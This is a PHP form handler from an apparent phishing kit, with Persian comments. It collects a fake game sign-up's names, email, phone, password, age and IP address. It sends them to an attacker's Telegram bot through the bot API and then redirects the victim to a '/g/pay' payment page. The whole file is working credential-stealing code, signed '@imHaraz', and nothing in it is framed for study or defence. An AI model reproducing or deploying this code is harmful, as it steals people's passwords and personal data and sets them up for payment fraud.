<?php
error_reporting(0);
session_start();

// جلوگیری از ارسال هرگونه خروجی قبل از هدایت
ob_start();

function GetIp() {
    if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        // ممکنه چندتا آی‌پی باشه، اولینش آی‌پی کاربره
        $ipList = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        return trim($ipList[0]);
    } elseif (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        return $_SERVER['HTTP_CLIENT_IP'];
    } elseif (!empty($_SERVER['HTTP_X_REAL_IP'])) {
        return $_SERVER['HTTP_X_REAL_IP'];
    } else {
        return $_SERVER['REMOTE_ADDR'];
    }
}


include "info.php";
$ip = GetIp();

// دریافت تمام فیلدها از فرم
$gameUsername = $_POST['gameUsername'];
$firstname = $_POST['firstname'];
$lastname = $_POST['lastname'];
$email = $_POST['email'];
$phone = $_POST['phone'];
$password = $_POST['password'];
$gender = $_POST['gender'];
$age = $_POST['age'];
$gameStyle = isset($_POST['gameStyle']) ? implode(', ', (array)$_POST['gameStyle']) : '';

// ذخیره اطلاعات در session
$_SESSION['user_data'] = array(
    'username' => $gameUsername,
    'firstname' => $firstname,
    'lastname' => $lastname,
    'email' => $email,
    'phone' => $phone,
    'age' => $age,
    'gender' => $gender,
    'style' => $gameStyle
);

$Text = "
╔════════════════
║ 🎮 login Target - Game
╠════════════════
║
║ • 👤 First Name: $firstname
║ • 👥 Last Name: $lastname
║ • 🎮 GameName: $gameUsername  
║ • 📱 Phone: $phone
║ • 📧 Email: $email
║ • 🔒 Password: {$password}
║ • 🚻 Gender: $gender
║ • 🎂 Age: $age
║ • 🎯 Play Style: $gameStyle
║
║ • 🌐 IP: $ip
║
╠════════════════
║ • 🕔 Time:
║  " . date('Y-m-d H:i:s') . "
║ • 📡 Sent by: @imHaraz
╚════════════════
";

// ارسال به تلگرام
@file_get_contents("https://api.telegram.org/bot".$TOKEN."/sendMessage?parse_mode=HTML&chat_id=".$ID."&text=".urlencode($Text));

// پاک کردن بافر خروجی و هدایت فوری
ob_end_clean();
header("Location: /g/pay/index.php");
exit();
?>